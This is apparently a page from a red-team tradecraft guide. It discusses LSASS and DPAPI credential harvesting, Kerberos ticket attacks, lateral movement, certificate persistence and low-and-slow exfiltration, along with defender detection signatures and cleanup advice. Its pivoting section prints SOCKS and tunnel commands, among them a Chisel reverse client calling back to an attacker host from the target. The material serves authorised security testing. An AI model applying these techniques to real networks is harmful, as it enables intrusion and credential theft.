Red Team Tradecraft

Advanced techniques for credential harvesting, lateral movement, and achieving objectives while maintaining stealth and OPSEC.

Credential Access

Credential access decides how far a red team gets, and almost every method on this page is a trade between how much you get and how loud it is. The loud ones are the direct ones: touching LSASS or asking a DC to replicate are both behaviours that mature EDR products alert on by default, regardless of the tool. The quiet ones use credentials the user has already unlocked — DPAPI blobs, browser stores, session tokens — which produce no process access to a protected process at all.

In-Memory Credential Harvesting

execute-assembly loads a .NET tool into a sacrificial process rather than dropping it on disk, so the artifact is a process running an assembly from memory rather than a file with a known hash. It is not invisible: the assembly load is visible to CLR ETW, and the sacrificial process usually has an unusual parent. The common tools are all .NET ports of the Mimikatz family — SharpKatz for LSASS secrets, Rubeus for Kerberos, SharpDPAPI for DPAPI, SharpChromium for browser stores, Seatbelt for host enumeration. The invocation itself is C2 syntax, which 09a covers for each framework.

LSASS Credential Extraction

Four routes to the same dump, in increasing order of survival against a modern EDR. comsvcs.dll's MiniDump export is the loudest — it is a documented LOLBin path that every EDR has a rule for — and is only useful to prove the control works. Nanodump builds the same minidump through syscalls and avoids the hooked APIs. PPLdump handles the case where LSASS runs as a Protected Process Light, and HandleKatz duplicates an existing handle instead of opening LSASS at all, which sidesteps handle-based callbacks.

Parsing happens offline — pypykatz on Linux, sekurlsa::minidump in Mimikatz — and that is deliberate: the detection window is the dump, not the parse. Note that Credential Guard removes the plaintext and NTLM secrets from LSASS entirely, so on a Credential-Guard-enabled host every method here returns less than the technique promises.

The four methods themselves — comsvcs.dll MiniDump, Nanodump, PPLdump and HandleKatz — are taught with their invocations in 05g.

Kerberos Attacks

Kerberos abuse is attractive because the artefacts are tickets rather than passwords: a service account's password can be changed after the engagement, but a golden ticket is only invalidated by rotating krbtgt twice. Kerberoasting asks for a service ticket for an SPN and cracks it offline — no authentication to the service is needed, only a valid user context. AS-REP roasting targets accounts with pre-authentication disabled, which is a misconfiguration you either find or you do not.

A golden ticket requires the krbtgt hash (see DCSync below); a silver ticket only requires the service account's hash and never touches a DC, which makes it far quieter — but it is scoped to one service. Overpass-the-Hash converts a captured hash into a Kerberos TGT, which is useful because the resulting authentication looks like Kerberos rather than NTLM.

Every invocation — Kerberoasting, AS-REP roasting, golden and silver tickets, Overpass-the-Hash — is in 05c, with the forged-ticket variants in 06d.

What the defender sees: a burst of 4769 events with RC4 encryption for accounts that normally use AES is the classic Kerberoasting signature; 4768 without pre-authentication is AS-REP roasting. A golden ticket shows up as a TGT with an impossible lifetime or a domain SID the DC does not recognise. Spreading requests over time and targeting one SPN at a time defeats the first but not the last.

DPAPI Secrets

DPAPI is where Windows keeps everything the user never types again: browser passwords, Credential Manager entries, saved RDP and VPN credentials. The blobs are encrypted with a key derived from the user's password or, on domain machines, a domain backup key — so harvesting them requires running as that user (or having their master key). This is the quietest credential access on the page: no LSASS handle, no DC traffic, just files in the user's profile being read. The harvesting commands and the masterkey/backupkey decryption are in 05g and 06h.

Lateral Movement

Every lateral movement technique is a remote execution primitive plus a way to move bytes, and the detection surface is mostly the primitive. Ask three questions before choosing: can the target's logging see the service or task I am creating, does the technique put a file on the remote disk, and does it require local admin. The table below is the short version; the depth lives in Lateral Movement.

Technique Comparison

WinRM Movement

WinRM is the quietest of the Windows-native options because it is a documented administrative channel that many estates already use for management — the traffic is a normal 5985/5986 session and the child process runs in the context of a legitimate service. It still needs WinRM enabled on the target, which is why it is worth checking during enumeration rather than assuming. Keep in mind that a WinRM session from an unusual source is an anomaly even when the protocol is allowed. The session syntax is in 05d.

WMI Movement

WMI creates a process through Win32_Process.Create rather than a service, so the artefact is a process whose parent is WmiPrvSE.exe and an RPC connection rather than an SMB file write. That makes it quieter than PSExec on disk and louder on the endpoint, because a WmiPrvSE.exe parent for a shell is a well-known pattern. It needs local admin for a remote process create, and it is the technique most likely to work on a host where SMB is restricted.

DCOM Movement

DCOM abuses a COM object that is already registered on the target — ShellWindows, ShellBrowserWindow, MMC20.Application, Outlook.Application — and asks it to launch a process. The advantages are that nothing is written to disk and that the object being instantiated is legitimate software, so the process tree looks plausible. The trade-off is that the object has to exist, which rules it out on hardened or minimal builds, and the RPC traffic is visible to a network sensor even when the host logging is thin. Object CLSIDs and the Impacket invocation are in 05d.

Pivoting

A pivot turns one compromised host into a route to the network behind it. There are two shapes: a proxy, where your tools connect through the implant (SOCKS, so any TCP tool works), and a tunnel, where a port on your machine maps to a port on the far side. Proxies are more flexible and slower; tunnels are faster and narrower. Either way the implant now has an extra network listener or connection, which is something the client's own port scan of their estate will find — so a pivot is also a finding to report.

SOCKS Proxy

# Sliver SOCKS proxy
sliver > socks5 start -P 1080

# Use with proxychains; /etc/proxychains.conf: socks5 127.0.0.1 1080
proxychains nmap -sT 10.10.10.0/24

# Cobalt Strike
beacon> socks 1080

# Chisel — independent of the C2
chisel server -p 8080 --reverse     # on the attacker host
chisel client ATTACKER:8080 R:socks # on the target

Use -sT with Nmap through a SOCKS proxy: SYN scans do not survive a TCP proxy, and the half-open behaviour is what produces the "connection refused on every port" failures that look like a dead host. Expect scans through a pivot to be slow, and scope them to the ports the phase needs rather than the full 65,535.

Port Forwarding

# Sliver port forward
sliver > portfwd add -b 127.0.0.1:8080 -r 10.10.10.5:80

# Ligolo-ng — creates a virtual interface, so tools address the far network directly
# agent on target, proxy on attacker, then: ifconfig / route add

Ligolo-ng is worth the extra setup when the objective includes the far network rather than one host: because it creates a virtual interface, tools address the remote subnet as if it were local, which removes the proxychains overhead and the scan limitations above. Plain ssh -L and ssh -R forwards, for a jumphost that needs no implant, are in 05d.

Persistence

Persistence is the mechanism most likely to outlive the engagement if it is forgotten, so the first question is not "will this survive a reboot" but "can I remove it and prove I removed it". Each mechanism below survives a different event; pick the one that matches the objective, and record it in the cleanup list immediately.

Stealthy Persistence Methods

Certificate-Based Persistence

Certificates are the persistence mechanism that password resets do not touch. Requesting a certificate for a target account gives you an artefact valid for the template's lifetime — often years — that authenticates without the password and leaves the account looking untouched. Shadow credentials work the other way round: writing a certificate to the target's msDS-KeyCredentialLink lets you authenticate as them without changing anything they would notice.

Both are visible to anyone who looks at the right attribute, and both are commonly left behind because the certificate does not appear in the places an operator checks for persistence. Record the request, the template, the account and the serial number, and remove the certificate or the key credential during cleanup. The request and authentication commands, and the Whisker/Certipy shadow-credential workflow, are in 05i and 05j; the mechanism-by-mechanism survival and cleanup table is in 06c.

Domain Escalation

Escalation to domain admin is a path, not a technique. BloodHound is the tool that makes the path visible; the work is deciding which edge you can exercise without tripping a detection, and whether the objective needs domain admin at all — many red team objectives are met with a business-critical server and no domain rights whatsoever.

Attack Paths

Five edges do most of the work, and each is a different detection problem. Kerberoasting a service account is offline and quiet but depends on a weak password. An ADCS misconfiguration yields a certificate that is often valid for months. Delegation abuse needs a coercion primitive (see Coercion Attacks). ACL abuse is entirely about reading BloodHound correctly — GenericAll, WriteDACL and ForceChangePassword chain into each other and the shortest path is rarely the obvious one. GPO abuse escalates by modifying policy that applies to privileged users, which is high impact and easy to leave behind.

The mechanics of each edge: 05c for Kerberos, 05i for ADCS, 05k for delegation, AD Attack Paths for ACLs and 05f for GPO abuse. This page's job is only the choice between them.

Data Exfiltration

Exfiltration is judged on volume and destination, not on technique. The objective defines what "proof of access" means — a single document with a classification marker is usually enough to prove the impact, and moving 40 GB does not strengthen the finding while guaranteeing a detection. Agree the data-handling rules before the engagement: what may leave the client's network, where it is stored, and when it is destroyed.

Low and slow is the default: small chunks, spread over the engagement's remaining days, over the protocol the host already uses. Encrypt and compress before sending when the data has to cross a content-inspection boundary, and hash what you take so the report can prove it was the agreed sample and not something the client needs back. The full channel comparison — what survives DLP, what survives egress filtering, and the volume arithmetic — is in 06e.

Evidence Collection

False Positive Identification

Testing Checklist

Remediation